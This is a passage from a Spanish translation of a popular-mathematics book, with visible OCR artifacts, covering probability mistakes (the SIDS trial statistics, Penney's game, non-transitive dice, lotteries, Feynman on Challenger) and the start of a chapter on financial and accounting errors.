sienta decepcionado por no tener una de estas fotos milagrosas: hiagalo porque es mucho mas
probable que haya pasado junto a una futura pareja sin ni siquiera haberse dado cuenta de ello.



Asimismo, solo porque algo ocurra una vez no significa que sea probable que vuelva a ocurrir. Puede haber
sido solo una observacion afortunada de un suceso poco probable. Hubo un concurso que durdé poco en el
Reino Unido hace unos afios que se basaba en fundamentos matematicos inciertos y en los que la primera
prueba sali6 bien por casualidad. No diré el nombre del programa ni del matematico amigo de un amigo mio
que era el asesor, pero vale la pena contar la historia.

En el concurso, cada participante tenia como objetivo ganar una cantidad de dinero asignada como
premio, y para ello tenia que superar un proceso bastante enrevesado. Cuando el asesor matematico hizo los
numeros, descubrié que los resultados de cada juego estaban determinados casi por completo por el tamafio
del objetivo. Si el objetivo era demasiado alto, habia muy pocas posibilidades de que el concursante ganara,
incluso aunque se utilizara una estrategia 6ptima. Si el objetivo era bajo, el concursante ganaria facilmente.
No era muy divertido ver un concurso en el que la estrategia utilizada por el concursante no influia en el
resultado.

Sin embargo, los productores decidieron ignorar las matematicas. Uno de ellos dijo que habia probado
el juego hacia poco en una reunion familiar en la que su abuela se lo pas6 muy bien jugando y en el que
ademas gano las cantidades mas altas unas cuantas veces. /Y a quién tendriamos que creer? ;A un analisis
comprensivo de las probabilidades y de los resultados esperados del concurso o a unas pocas partidas
jugadas por la abuela de alguien? Ellos se decantaron por la abuelita y el programa se canceld a mitad de
temporada después de que se emitieran solo los primeros episodios porque nadie gand el premio mas
elevado.

Por lo que resulta que la estrategia optima es escuchar a los consejeros matematicos que has
contratado para que calculen las probabilidades por ti. Porque puede que, simplemente, lo que ocurra sea que
tienes una abuela muy afortunada.

Un error estadistico grave

En 1999, una myjer britdnica fue sentenciada a cadena perpetua por los asesinatos de dos de sus
hijos. Sin embargo, las dos muertes podrian haber sido completamente accidentales: cada afio,
mueren en el Reino Unido casi trescientos bebés de forma inesperada por el llamado sindrome de
muerte subita del lactante (SMSL). Durante el juicio, el jurado tuvo que decidir si era culpable de
asesinato mas alld de toda duda razonable. ;Fue ella la homicida o la victima de este caso tan
impactante? Al jurado le presentaron estadisticas que parecian implicar que el hecho de que los
dos hermanos hubieran muerto debido al SMSL era muy poco probable. El veredicto fue de
culpabilidad (con una mayoria de diez a dos), pero la condena de la acusada fue revocada mas
adelante.

En el juicio se presentaron estadisticas erréneas que dieron la falsa impresion de que habia
tan solo un 0,0000014 % de probabilidades (alrededor de una entre 73 millones) de que dos
bebés de una misma familia murieran por culpa del SMSL. La Royal Statistical Society afirmé que
no existia «ninguna base estadistica» que respaldara esta cifra y se mostraba preocupada por el
«mal uso de las estadisticas en los tribunales de justiciay.

Después de la segunda apelacion, presentada en 2003, la sentencia fue anulada cuando la
mujer ya habia pasado tres afios en la carcel. ;Coémo pudieron las matematicas equivocarse tanto
para condenar a una mujer inocente? La acusacion habia aceptado que la probabilidad de la
muerte subita del lactante en una familia como la de esta mujer era de una entre 8.543 y multiplico
14 543 por 15 543 para calcular la probabilidad de que se produjeran los dos fallecimientos.



Hay una larga lista de razones por las que esto no es correcto, pero la principal es que las
dos muertes subitas de lactantes no son independientes. En matematicas, si dos sucesos son
independientes, se pueden multiplicar sus probabilidades para hallar la probabilidad de que se
produzcan ambos. Las probabilidades de sacar el as de picas de un mazo de cartas son de s, y
las de sacar cara cuando tiras una moneda al aire son de . El hecho de tirar la moneda no afecta
de ninguna manera a la baraja de cartas, por lo que podemos multiplicar /5, por % para obtener

la probabilidad combinada de que sucedan ambas cosas, en este caso /] 4.

Si dos sucesos no son independientes, nada de lo dicho anteriormente sirve. O al menos, hay
que reexaminarlo minuciosamente. Menos del 1 % de la poblacion de Estados Unidos es mas alta
de 190 centimetros. Por lo que, si escogemos personas al azar en Estados Unidos, menos de uno
de cada cien tendré esa estatura. Pero si elegimos al azar un jugador de baloncesto profesional de
la NBA, la probabilidad es muy diferente. La altura y jugar al baloncesto profesional estan
vinculados: el 75 % de los jugadores de la NBA sobrepasan esa estatura. Las probabilidades
cambian si un factor relacionado ya ha sido seleccionado. En el SMSL intervienen posibles
factores genéticos y ambientales, por lo que la probabilidad de que suceda en una familia que ya
ha padecido una tragedia como esa sera diferente a la probabilidad de la poblacion en general.

Y las probabilidades que no son independientes no se pueden multiplicar entre si para
obtener la probabilidad combinada. Alrededor del 0,00016 % de las personas que viven en
Estados Unidos juega en la NBA (522 jugadores en la temporada 2018-2019 frente a una
poblacion de 327 millones). Multiplicar ingenuamente esa cifra por el 1 % de probabilidades de
medir mas de 190 centimetros da una probabilidad combinada de uno por cada 63 millones de que
un miembro aleatorio de la poblacion juegue en la NBA y tenga esa estatura. Pero esas
probabilidades no son independientes, y la cifra incorrecta refleja incorrectamente que es mucho
menos probable de lo que realmente es. La probabilidad real es una entre 830.000.

Al jurado le dijo un testigo experto que la probabilidad combinada de que se produzcan dos
casos de SMSL en la misma familia era una entre 73 millones, por lo que condenaron a una mujer
que mas tarde fue exonerada. Ese testigo experto fue hallado culpable de conducta profesional
indebida por el Consejo Médico General por insinuar incorrectamente que las muertes fueron
independientes.

Comprender el tema de las probabilidades es complicado para los humanos. Pero en casos
de alto riesgo como este, tenemos que hacerlo bien.

Monedas y dados al aire

Es facil engafar a los humanos con las probabilidades. Los siguientes son dos juegos en los que la
gente se equivoca sistematicamente. No dude en usarlo para engaiar a cualquier humano de su
eleccion.

El primero estd basado en el lanzamiento (completamente justo) de una moneda. En este caso,
«justo» significa que las caras y las cruces tienen las mismas probabilidades (si cayera de canto
habria que volverla a lanzar). Por lo que, si la apuesta es que la moneda le saldra cara (C) a usted
y cruz (X) a mi, podemos asegurar que es completamente justa: ambos tenemos las mismas
probabilidades de ganar. Pero un solo lanzamiento es aburrido. Asi que hagdmoslo mas



interesante. Apostemos tres lanzamientos seguidos; por ejemplo, usted apuesta CXC y yo XCC. A
continuacion, lanzamos la moneda repetidas veces hasta que se produzca una de esas secuencias.
(No le gusta su prediccion de CXC? No pasa nada. Elija cualquier opcion de las ocho posibles
que aparecen abajo y junto a ella vera cudl es la mia. Empezamos a lanzar la moneda. Si yo gano,
asegurese de pagarme.

Usted Yo Nada que rascar
CCccC XCC 12,5%
CCX XCC 25 %
CXC CCX 333%
CXX CCX 33,3 %
XCC XXC 333%
XCX XXC 33,3 %
XXC CXX 25%
XXX CXX 12,5 %

A la derecha puede ver una lista de porcentajes. No hay necesidad alguna de que se preocupe
de esa columna. Son tan solo las probabilidades que hay de que usted gane. Se habra dado cuenta
de que todas ellas estan por debajo del 50 %. Sin embargo, mientras usted elija primero, siempre
podré hacer una prediccidon que tenga mas probabilidades de ser la ganadora. El mejor escenario
para mi es cuando mi oponente siempre opta por la misma, o sea, CCC o XXX, lo que le otorga un
12,5 % de posibilidades de ganar y a mi un 87,5 %. Incluso si supongo que mi oponente elige su
secuencia al azar, por término medio tengo un 74 % de posibilidades de ganar.

La primera vez que vi este juego, mi limitado cerebro no le vio el sentido. Cada lanzamiento
de la moneda era independiente, aunque algo extrafio ocurria con las predicciones de tres
lanzamientos seguidos. El secreto esta en el hecho de que la moneda se lanza continuamente hasta
que una de las secuencias predichas se produce. Si la moneda se lanzase tres veces para obtener
un resultado y luego se volviese a tirar tres veces para obtener el siguiente, los resultados finales
serian independientes. Pero, si los dos ultimos lanzamientos de un turno de tres forman los dos
primeros lanzamientos del siguiente resultado, los resultados se superponen entre si y ya no son
independientes.

Fijese en mis predicciones: mis dos ultimas elecciones son las mismas que las dos primeras
de mi oponente. Mi objetivo es bloquearle el movimiento. Esta claro que un jugador podria ganar
los tres primeros lanzamientos de la moneda (un 12,5 % de probabilidades para cada persona),
pero después de que la serie ganadora de caras y cruces fuera precedida por una serie de tres que
se superponga con ella. Yo quiero elegir ese grupo precedente. Para algo como XXX, o tenian que
ser los tres primeros lanzamientos o sin duda serian vencidos por CXX, que aparece justo antes.
Una secuencia de tres cruces siempre tendra una cara justo antes que ella, 1o que hace que CXX
vaya antes que XXX. El juego estd amafiado. Este es un juego conocido como juego de Penney y
se ha utilizado para separar a los humanos de su dinero durante afios.
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La gente cae en el juego de Penney porque todas las opciones de tres caras y cruces tienen
una combinacion diferente que tiene mas posibilidades de ganar. Es inquietante que no exista una
mejor opcidn para elegir que tenga mas probabilidades de ganar que el resto. Pero esa rareza
concreta es la base del juego piedra, papel o tijera. Cualquier opcion elegida puede ser vencida
por una de las demas opciones.

Esta es la diferencia entre las relaciones transitivas y no transitivas. Una relacion transitiva
es una que puede ser transmitida a lo largo de una cadena. El tamafo de los nimeros reales es
transitivo: si nueve es mayor que ocho, y ocho es mayor que siete, entonces podemos suponer que
nueve es mayor que siete. Ganar en piedra, papel o tijera es no transitivo. Las tijeras vencen al
papel y el papel vence a la piedra, pero eso no implica que las tijeras venzan a la piedra.

El segundo juego basado en las probabilidades que puede utilizar para engafiar a los
humanos fue inventado por el matematico James Grime. Desarrollé un conjunto de dados no
transitivos que ahora llevan su nombre: dados de Grime (que acaba de convertirse en el segundo



mejor nombre para una boy band que aparece en este libro). Tienen cinco colores (rojo, azul,
verde, amarillo y magenta) y los puede utilizar para jugar al juego de «El nimero mas alto ganay.
Usted y su oponente eligen un dado cada uno y lo lanzan al mismo tiempo para ver quién saca el
namero mas alto. Pero para cada dado hay un dado de otro color que le ganara la mayoria de las
veces.

Por término medio: el rojo gana al azul; el azul al verde; el verde al amarillo; el amarillo al
magenta y el magenta al rojo. Mi contribucidn al dado fue esperar a que James averiguara los
nameros y luego sugerirle un rango de colores que sirviera de ayuda para recordar el orden rojo-
azul-verde-amarillo-magenta; en inglés, cada color tiene una letra mas que el anterior.” Ahora
deje que primero su oponente elija su color y luego escoja el dado que, en inglés, tiene menos
letras (rojo, red en inglés tiene 3, pierde con magenta, que en inglés es igual que en castellano y
tiene 7).

Si utiliza estos dados para ganar rondas de bebida y dinero de sus amigos y familiares, puede
que finalmente tenga que confesarles que no son transitivos. Puede que incluso les ensefie el orden
de los dados. Pero sugiérales luego duplicar el juego y lanzar dos dados del mismo color a la vez.
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Porque cuando los dados se tiran de dos en dos se invierte el orden de cudl gana a cual. En
lugar de rojo gana a azul, azul gana ahora a rojo con mas frecuencia, y asi sucesivamente. Si usted
va primero, su oponente seguird utilizando el sistema que establecia el orden al tirar un solo dado
y elegird un color que muy probablemente perdera contra el suyo.

Los dados no transitivos son relativamente nuevos en el mundo de las matematicas.
Aparecieron en la escena matematica en la década de 1970, pero rapidamente causaron un gran
impacto. El inversor multimillonario Warren Buffett es un gran aficionado de los dados no
transitivos y los sacé cuando conocié al también multimillonario de la informatica Bill Gates.
Segun cuentan, Gates empez6 a sospechar cuando Buffett insistido en que ¢l eligiera primero los



dados, y, después de una inspeccién minuciosa de los nimeros, insistié en que Buffett escogiera
primero. El vinculo entre que te gusten los dados no transitivos y ser multimillonario debe ser solo
una correlacion y no una causalidad.

La contribucion de James Grime al mundo no transitivo fue que sus dados tenian dos ciclos
posibles de no transitividad, pero con solo uno de ellos que se invertia cuando duplicabas el
namero de dados.! Al renombrar el dado verde a «oliva» (olive en inglés), el segundo ciclo se
podia recordar por el orden alfabético de los colores. En teoria, utilizando ambos ciclos, puede
permitir que otras dos personas escojan el color de sus dados y, mientras usted pueda elegir la
version que se juega (la de uno o la de dos dados), ganara a ambos oponentes simultaneamente
mas veces que las que perdera.

Me gustaria poder decir que detrds de todo esto hay unas asombrosas matematicas, pero no
es asi. James decidi6 las propiedades que queria que tuvieran los dados y se pasé6 muchisimo
tiempo averiguando qué numeros permitirian que eso sucediera. Si usted me diera dos dados
diferentes de seis caras con unos nimeros elegidos por usted de forma aleatoria entre cero y
nueve, yo podria encontrar un tercer dado para completar mas de un tercio de las veces un bucle
no transitivo. Las matematicas son asombrosas solo porque pillan al cerebro humano con la
guardia bajada. Pero les advierto: los cerebros humanos son rapidos a la hora de guardar rencor si
les ganan demasiadas bebidas.

Para no ganar tienes que participar

No hay nada que podamos hacer para incrementar nuestras probabilidades de ganar la loteria
primitiva mas que comprar mas boletos. Un momento, seré mas especifico: comprar mas boletos
con nimeros diferentes. Si compra varios boletos con los mismos nimeros, no estard aumentando
sus probabilidades de ganar. Pero si gana con varios boletos y tiene que compartir el premio,
ganard una porcion mayor. Por lo que es una forma de ganar mas dinero, pero no de tener mas
probabilidades de hacerlo.

Pero seguro que nadie ha ganado la loteria primitiva con varios nimeros iguales... excepto
Derek Ladner, que en 2006 y de forma accidental, comproé su boleto de la loteria del Reino Unido
dos veces. Ganaron otras tres personas, pero en lugar de obtener una cuarta parte del bote de 2,5
millones de libras, se llevo dos quintas partes. Reclamé su primera quinta parte cuando todavia no
se habia dado cuenta de que tenia otro boleto ganador... Y Mary Wollens, quien deliberadamente
habia comprado dos boletos idénticos de una loteria canadiense (también en 2006) y se llevo a
casa dos terceras partes de un premio de 24 millones de dolares en lugar de solo la mitad... Y el
marido y la esposa que en 2014 compraron cada uno de ellos su boleto habitual de la loteria del
Reino Unido sin decirselo al otro (acertaron cinco de seis numeros y el complementario)... Y
Kenneth Stokes, en Massachusetts, quien jugd con sus nimeros habituales a la Loteria Lucky for
Life, a pesar de que su familia le habia comprado un boleto anual.

Pero si quiere incrementar sus probabilidades de ganar, necesita comprar dos boletos
diferentes. No es una decision inteligente econdémicamente hablando. En general, cada vez que
compra un boleto de loteria esta perdiendo dinero. La licencia actual concedida por la Comision
del Juego de Gran Bretafia a Camelot UK Lotteries Limited estipula que el 47,5 % del dinero



gastado en boletos de loteria se ha de devolver en forma de premios (lo normal es que los premios
fluctien semana a semana). Este es el retorno esperado. Por cada libra que se gasta un jugador en
un boleto de loteria, puede esperar recuperar 47,5 peniques en premios.

Pero la gente no juega porque espere recuperar esa cantidad. Gestionar una loteria es en
realidad distribuir los premios con una desviacion respecto al retorno esperado tan grande como
sea viable. Podria presentar una oferta competidora por una licencia de la loteria nacional y
vender mas barato que Camelot al recortar drésticamente los costes administrativos. Mi plan es
que, cuando la gente comprase un boleto de 2 libras, la persona al cargo del punto de venta solo
les diera los 95 peniques del retorno esperado alli y en ese momento. Eso recorta los gastos
administrativos y ni siquiera me tendria que molestar en extraer los nimeros dos veces por
semana.

Es un ejemplo ridiculo y extremo, pero sirve para hacerse una idea: la gente no quiere su
retorno esperado, quieren tener la oportunidad de obtener mas que lo que han gastado. De
acuerdo, entonces cada tercer cliente obtiene 2,85 libras y todos los demas no reciben nada. O
cada cuarto boleto recibe 3,80 libras. ;Cuando se puede decir que se ha desequilibrado lo
suficiente el reparto de premios? ;Deberian todos los centésimos clientes obtener 95 libras? Hay
otros concursos, como los que consisten en rascar tarjetas, que operan segun este sistema de
premios (y, de hecho, tienen mayores retornos esperados), pero la loteria ha decidido
desequilibrarnos a nosotros.

En 2015, Camelot hizo que fuese mas dificil ganar la loteria. En lugar de elegir seis numeros
de un total de cuarenta y nueve, lo cambiaron para que hubiese que elegir seis de cincuenta y
nueve. En uno de mis ejemplos favoritos de siempre de publicidad sesgada, lo vendian
promocionando que habia «mas niimeros para elegir». jAja! La realidad es que ahora habia mas
nameros que un jugador no elegiria, recortando drasticamente sus probabilidades de ganar. Elegir
seis nimeros de cuarenta y nueve tiene unas probabilidades de uno entre 13.983.816 de ganar el
premio maximo, mientras que al elegir seis de cincuenta y nueve, las probabilidades son de uno
entre 45.057.474. Si afiadimos que uno de los premios nuevos y mas bajos era un boleto gratis
para el siguiente sorteo (yo lo gané), las probabilidades de ganar por boleto comprado eran de
uno entre 40.665.099. En esa época, dije que habia mas probabilidades de que un ciudadano del
Reino Unido escogido al azar tuviera como padre al principe Carlos. Es altamente improbable.

A pesar de todo esto, diria que las nuevas probabilidades reducidas de ganar convertian a la
loteria en un producto mejor. El premio medio no habia cambiado, simplemente habian decidido
destinar mucho mas a menos personas. Los cambios en las reglas dieron como resultado mas botes
acumulados, lo que hacia que hubiera premios mucho mayores, la clase de premios que llaman la
atencion de los medios de comunicacion. Y la gente no compra boletos de loteria por el premio
promedio, estan comprando el derecho a sonar. Tener alguna probabilidad de ganar un premio que
te cambiaria la vida le permite a cualquiera sofiar con esa version de su existencia. Cuanta mas
publicidad obtenga una loteria y cuanto mas grandes sean sus premios, mayores seran €sos suefos.
Lo que hace de ella, 16gicamente, un mejor producto.

Cuestion de bolas



En internet, hay personas que intentan vender sus secretos para ganar la loteria. Una gran parte de
la pseudociencia sobre los sorteos de la loteria intenta hacerse pasar por matematica y no suele
ser mas que una variacion de la falacia del jugador. Esta falacia logica consiste en que, si algin
suceso aleatorio no se ha producido durante un tiempo, entonces «debe» ocurrir. Pero si, los
sucesos son de verdad aleatorios e independientes, entonces su resultado no puede ser mas o
menos probable basandose en lo que ha sucedido previamente. Sin embargo, la gente les sigue la
pista a los nimeros que no han salido recientemente en la loteria para ver cuales deben aparecer.

Esto alcanzo6 su punto algido en 2005, en Italia, cuando al nimero 53 no se le veia el plumero
desde hacia mucho tiempo. La loteria italiana de 2005 era algo diferente a la de otros paises:
tenian diez sorteos diferentes (a los que se les daba nombres de diferentes ciudades) en cada uno
de los cuales los participantes escogian cinco nimeros de noventa posibles. A diferencia de lo
que es habitual, los jugadores no tenian que escoger un conjunto completo de niumeros. Podian
optar por apostar porque saliera un unico niimero en un determinado sorteo. Y el numero 53 no
habia salido en el sorteo Venecia desde hacia dos afios.

Un montdn de personas creyeron que la bola 53 tenia que salir. Se gastaron al menos 3.500
millones de euros en boletos con el nimero 53; eso son 227 euros por familia en Italia. La gente
pedia prestado dinero para apostar por el 53 aunque seguia sin salir, y eso, al parecer, hacia que
cada vez estuviera mas obligado a hacerlo. Los que tenian un sistema siguieron subiendo su
apuesta semanalmente, por lo que, cuando por fin saliera el 53, recuperarian todas las pérdidas
anteriores. Los jugadores se arruinaban y, en el periodo previo a que finalmente saliera el 53, el 9
de febrero de 2005, murieron cuatro personas (un suicidio solitario y otro que también se llevod
por delante la vida de su familia).

En Italia hay incluso un buen nimero de personas que creen, como si se tratase de algo
sagrado, que ningun nimero puede estar mas de 220 sorteos sin salir. Lo llaman «maximo retraso»
(o mas bien, el ritardo massimo) y se basa en los escritos de principios del siglo xx de
Samaritani. El matematico Adam Atkinson, junto a otros académicos italianos, fue capaz de hacer
ingenieria inversa de la formula Samaritani para demostrar que este habia descubierto una buena
estimacion de cudl seria la tirada mas larga esperada entre sorteos de cualquier nimero dado
(para la loteria de la época). De algin modo, este célculo se fue transformando con el paso de las
generaciones, convirtiéndose en un supuesto limite magico estricto para cualquier loteria.

Otra cosa que ocurre es que la gente piensa erroneamente que los resultados recientes tienen
menos probabilidades de volver a salir. He visto consejos en internet diciendo cosas como «No
elija nimeros que han ganado el gran bote con anterioridad» y «Usar una combinaciéon que nunca
ha salido hara que sus posibilidades sean mas altas», y no son mas que chorradas.

En 2009, en la loteria bulgara salieron los mismos nimeros: 4, 15, 23, 24, 35 y 42 en dos
sorteos seguidos, el 6 y el 10 de septiembre. Salieron en un orden diferente, pero, en una loteria,
el orden no importa. Aunque parezca increible, nadie gand el bote la primera vez que salieron,
pero, a la semana siguiente, dieciocho personas optaron por esa combinacion con la esperanza de
que saldria de nuevo. Las autoridades bulgaras abrieron una investigacion para comprobar que no
habia pasado nada inapropiado, pero los organizadores de la loteria dijeron que solo habia sido el
azar. Y tenian razon.



La tnica estrategia legitima matematica de la que disponemos es elegir nimeros que sea
menos probable que hayan sido elegidos por otras personas. Los humanos no somos muy creativos
a la hora de elegir nimeros. El 23 de marzo de 2016, los nimeros ganadores de la loteria del
Reino Unido fueron 7, 14, 21, 35, 41 y 42. Todos, menos uno, multiplos de siete. Una increible
cantidad de gente (4.082 personas) acertd cinco numeros esa semana (seguramente, los cinco
multiplos de siete; Camelot no publica los resultados), por lo que el premio en metalico tuvo que
ser compartido entre unas ocho veces mas de personas de lo habitual: solo obtuvieron 15 libras
cada uno (jmenos que las 25 libras que recibi6 la gente que acertd tres nimeros!). Se cree que, en
el Reino Unido, alrededor de unas diez mil personas escogen 1, 2, 3, 4, 5 y 6 cada semana. Si
alguna vez salieran, los ganadores no recibirian un gran premio. Ni siquiera tendrian una historia
divertida que contar.

Unos buenos consejos son: escoger nimeros que no formen parte de una secuencia obvia, que
no formen parte de alguna fecha (se suelen escoger cumpleafios, aniversarios, etc.) y que no se
ajusten a ninguna expectativa equivocada de qué numeros «tienen» que salir. Asi, si juega a la
loteria primitiva semanalmente durante millones de afios (podria esperar ganarla una vez cada
780.000 anos), en las ocasiones en las que gane, lo mas seguro es que tendra que compartirlo con
menos gente. Lamentablemente, no es una estrategia que ayude mucho en la escala temporal que
dura una vida humana.

Asi que el mejor consejo es, si juega a la loteria primitiva, que simplemente escoja los
nameros que quiera. Creo que la tnica ventaja de escoger nimeros aleatorios con alta entropia es
que parecen los numeros ganadores la mayoria de las semanas, lo que ayuda a mantener viva la
ilusién de que podemos ganar. Y, al final del dia, esa ilusidon de poder ganar es lo que realmente
estamos comprando.

Un probable resumen

Mantengo una relacion dificil con las probabilidades. No existe otra area de las matematicas en
las que me sienta tan inseguro respecto a mis calculos como me ocurre cuando estoy averiguando
las probabilidades de que algo ocurra. Incluso aunque se trate de algo cuyas probabilidades son
calculables, como la probabilidad de tener una mano complicada jugando al pdker, siempre me
preocupa haberme olvidado de tener en cuenta determinado caso o matiz. Para ser sincero, creo
que seria mucho mejor jugador de pdker si me olvidara de mis calculos y me fijara mas en el resto
de jugadores; podrian estar sudando profusamente y no me enteraria, ya que estoy muy ocupado
intentando calcular cuantas manos distintas pueden salir.

Y la probabilidad es un 4rea de las matematicas en la que la intuicion, ademas de fallarnos,
por regla general se equivoca. Hemos evolucionado para sacar conclusiones probabilisticas
apresuradas que nos dan las mejores probabilidades de supervivencia, no las que nos dan los
resultados mas precisos. En mi version imaginaria de dibujos animados de la evolucion humana,
los falsos positivos de suponer que hay un peligro cuando no lo hay no suelen ser castigados con
tanta severidad como cuando un humano subestima un riesgo y es comido. La presion de seleccion
no recae sobre la precision. Equivocado y vivo es mejor, evolutivamente, que acertado y muerto.



Pero nos debemos a nosotros mismos intentar calcular estas probabilidades lo mejor que
podamos. Esto es a lo que Richard Feynman se tuvo que enfrentar durante la investigacion del
desastre del transbordador. Los administradores y la gente de las altas esferas de la NASA decian
que cada lanzamiento del transbordador solo tenia una entre 100.000 probabilidades de que se
produjera un desastre. Pero, para Feynman, eso no sonaba bien. Se dio cuenta de que eso
significaria que podria producirse un lanzamiento de un transbordador cada dia durante trescientos
afios y se produciria un tinico desastre.

Casi nada es tan seguro. En 1986, el mismo afio de la tragedia del transbordador, se
produjeron 46.087 muertes en las carreteras de Estados Unidos, aunque los estadounidenses
condujeron un total de 2.958.360.514.560 kilometros ese ano. Lo que significa que un viaje de
unos 640 kilémetros tuvo una probabilidad de una entre cien mil de acabar mal (a modo de
comparacion, en 2015 la cifra fue de 1.419 kilometros). El del transbordador era un viaje espacial
con tecnologia punta, lo cual implica que siempre serda mas peligroso que conducir 640 kilometros
en coche. Las probabilidades de una entre cien mil no eran un calculo sensato de la probabilidad.

Cuando Feynman les preguntd a los ingenieros y al personal que trabajaba con el
transbordador espacial cudles eran las probabilidades de que se produjese un desastre en
cualquier vuelo, dieron respuestas que iban desde una entre cincuenta a una entre trescientos. Eso
es muy diferente a lo que los fabricantes (una entre diez mil) y la direccién de la NASA (una entre
cien mil) pensaban. En retrospectiva, ahora sabemos que, de los 135 vuelos (antes de que en 2011
se cerrase el programa del transbordador), dos de ellos acabaron mal. Una proporcion de uno
entre 67,5.

Feynman se dio cuenta de que uno entre cien mil era mas producto de la ilusion o el deseo de
la direccion que de un célculo meditado. Parecia que pensaban que si el transbordador iba a
transportar humanos, necesitaba ser asi de seguro para que todo se construyera de tal forma que
cumpliera con ese propdsito. No solo se trata de como funcionan las probabilidades, sino de cémo
pudieron calcular esas probabilidades tan bajas.

Es cierto que, si las probabilidades de fracaso eran tan bajas como 1 entre 100.000, se habria necesitado

un numero desorbitado de pruebas para determinarlas (no habrian tenido nada mas que una sucesion de

vuelos perfectos de la que no se puede sacar ninguna conclusion precisa, solo que las probabilidades son
probablemente menores que el nimero de vuelos de las pruebas).

Apéndice F: Observaciones personales sobre

la fiabilidad de la lanzadera por R. P. Feynman,

Informe para el Presidente, realizado por la

COMISION PRESIDENCIAL sobre el accidente

del transbordador Challenger, 6 de junio de 1986.

Lejos de haber conseguido una serie de pruebas exitosas, la NASA estuvo observando
sefiales de posibles fallos durante los test. También se produjeron algunos fallos no criticos
durante lanzamientos reales que no causaron ningin problema en el vuelo mismo, pero si que
demostraron que las probabilidades de que las cosas pudieran no salir bien eran mas altas de lo
que la NASA queria admitir. Habian calculado sus probabilidades basandose en lo que queriany
no en lo que estaba ocurriendo realmente. Pero los ingenieros habian utilizado las evidencias de
las pruebas para intentar calcular cual era el riesgo real, y estaban cerca de lo correcto.



Cuando los seres humanos nos esforzamos realmente en ello y no permitimos que nuestro
juicio se nuble por lo que la gente quiere creer, podemos llegar a ser muy buenos en el tema de las
probabilidades. Si queremos...



Ocho
INVERSIONES Y ERRORES

(Qué cuenta como error en las finanzas? Por supuesto, hay casos obvios, cuando simplemente se
equivocan con los nimeros. El 8 de diciembre de 2005, la empresa de servicios de inversion
japonesa Mizuho Securities envi6 una orden a la bolsa de Tokio para vender una sola accion de la
compaifiia J-COM Co. Ltd. por 610.000 yenes (alrededor de 4.300 euros de la época). Bien,
pensaron que estaban vendiendo una accion por 610.000 yenes, pero la persona que tecled la
orden intercambid accidentalmente los nimeros y envio una orden de venta de 610.000 acciones
por 1 yen cada una.

Intentaron cancelarla a toda prisa, pero la bolsa de Tokio fue reticente. Otras empresas
estaban comprando las acciones rebajadas y cuando la transaccion se suspendio al dia siguiente,
Mizuho Securities habia perdido 27 mil millones de yenes (algo mas de 190 millones de euros de
la época). Fue descrito como el error «de los dedos gordos». Yo hubiera optado por algo mas del
estilo de «dedos distraidos» o «dedos que deberian aprender a comprobar dos veces todos los
datos importantes que teclean, pero es probable que aun asi los hayan despedido».

Las secuelas del error fueron de largo alcance: crecid la desconfianza en toda la bolsa de
Tokio y el indice Nikkei cayd un 1,95 % en un solo dia. Algunas, aunque no todas, las empresas
que compraron las acciones rebajadas se ofrecieron a devolverlas. Una resolucion posterior del
Tribunal del Distrito de Tokio culp6 en parte a la bolsa porque su sistema no permitié que Mizuho
cancelase la orden erronea. Esto solo sirve para confirmar mi teoria de que todo es mucho mejor
si hay una tecla de «cancelar.

Este es el equivalente numérico de una errata. Ese tipo de errores es tan antiguo como la
civilizacion. Me gustaria decir felizmente que el auge de la civilizacion se produjo gracias al
dominio de las matematicas: a menos que seas capaz de realizar correctamente un monton de
calculos matematicos, la logistica necesaria para que los humanos vivan juntos a una escala de una
ciudad es imposible. Y, desde que los humanos hacen matematicas, estas han venido acompafiadas
de errores numéricos. El texto académico Archaic Bookkeeping fue fruto de un proyecto de la
Universidad Libre de Berlin. Es un analisis de los primeros textos escritos jamas descubiertos:
los textos protocuneiformes compuestos por simbolos rayados en tablas de arcilla. Aun no era un
lenguaje completamente formado, sino mas bien un sistema elaborado para llevar una
contabilidad. Lleno de errores.

Estas tablas de arcilla proceden de la ciudad sumeria de Uruk (al sur del actual Irak) y su
origen data de entre 3400 y 3000 a. e. c., es decir, hace unos cinco mil afios. Parece ser que los
sumerios no desarrollaron la escritura para comunicar prosa, sino mas bien para llevar un registro
de los niveles de existencias. Es un ejemplo muy temprano de las matematicas haciendo posible



que el cerebro humano haga algo mas aparte de aquello para lo que estaba construido. En un
pequeio grupo de humanos puedes llevar un registro de quién posee qué en tu cabeza y realizar
intercambios basicos. Pero, cuando tienes una ciudad, con todos los impuestos y propiedades
compartidos que requiere, necesitas una forma de mantener registros externos. Y los registros
escritos ofrecen confianza entre dos personas que tal vez no se conozcan entre ellas.
(Ironicamente, la escritura en linea estd eliminando esa confianza entre las personas, pero no nos
adelantemos.)

Algunos de los documentos antiguos de Sumeria estaban escritos por una persona que al
parecer se llamaba Kushim y estaban firmados por su supervisor, Nisa. Algunos historiadores
creen que Kushim es el primer humano cuyo nombre conocemos. Parece que el primer humano
cuyo nombre se ha transmitido a lo largo de milenos de historia no fue un gobernante, un guerrero
0 un cura... sino un contable. Las dieciocho tablas de arcilla que estan firmadas por Kushim dan a
entender que su trabajo era controlar los niveles de las existencias en un almacén en el que se
guardaban los materiales para elaborar cerveza. A ver, eso se sigue haciendo; un amigo mio
gestiona una fabrica de cerveza y con eso se gana la vida. (Por cierto, se llama Rick, por si acaso
este libro es uno de los pocos objetos que sobreviven al apocalipsis y ¢l se convierte en el nuevo
humano citado mas antiguo.)

Kushim y Nisa son especiales para mi, no porque sean las primeras personas cuyos nombres
han sobrevivido, sino porque cometieron el primer error matematico de la historia, o al menos el
primero que ha perdurado (al menos, es el mas antiguo que he encontrado; haganme saber si
encuentran alguno anterior). Al igual que un agente de bolsa de Tokio tecled incorrectamente unos
nameros en un ordenador, Kushim graboé algunos nimeros cuneiformes incorrectos en una tabla de
arcilla.

Gracias a las tablas podemos averiguar un esbozo de las matematicas que se utilizaban tanto
tiempo atras. Para empezar, una parte de los registros de cebada cubren un periodo de
administracion de treinta y siete meses, que equivalen a tres afios de doces meses mas un mes
afiadido. Esto demuestra que los sumerios podrian estar utilizando un calendario lunar de doce
meses con un mes bisiesto colocado una vez cada tres afios. Ademas, no tenian un sistema de base
numérica fija para los niimeros, sino, mas bien, un sistema continuo que utilizaba simbolos que
eran tres, cinco, seis o diez veces mas grandes que los demas.
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Solo tiene que recordar esto; un punto grande vale lo mismo que diez puntos pequerios. Y todo lo demds.



Una vez que ya nos sabemos mover dentro de ese sistema numérico extrafio, los errores son
tan comunes que podrian haber sido cometidos hoy mismo. En una tabla, Kushim simplemente se
olvida de incluir tres simbolos cuando suma una cantidad total de cebada. Otro error es porque
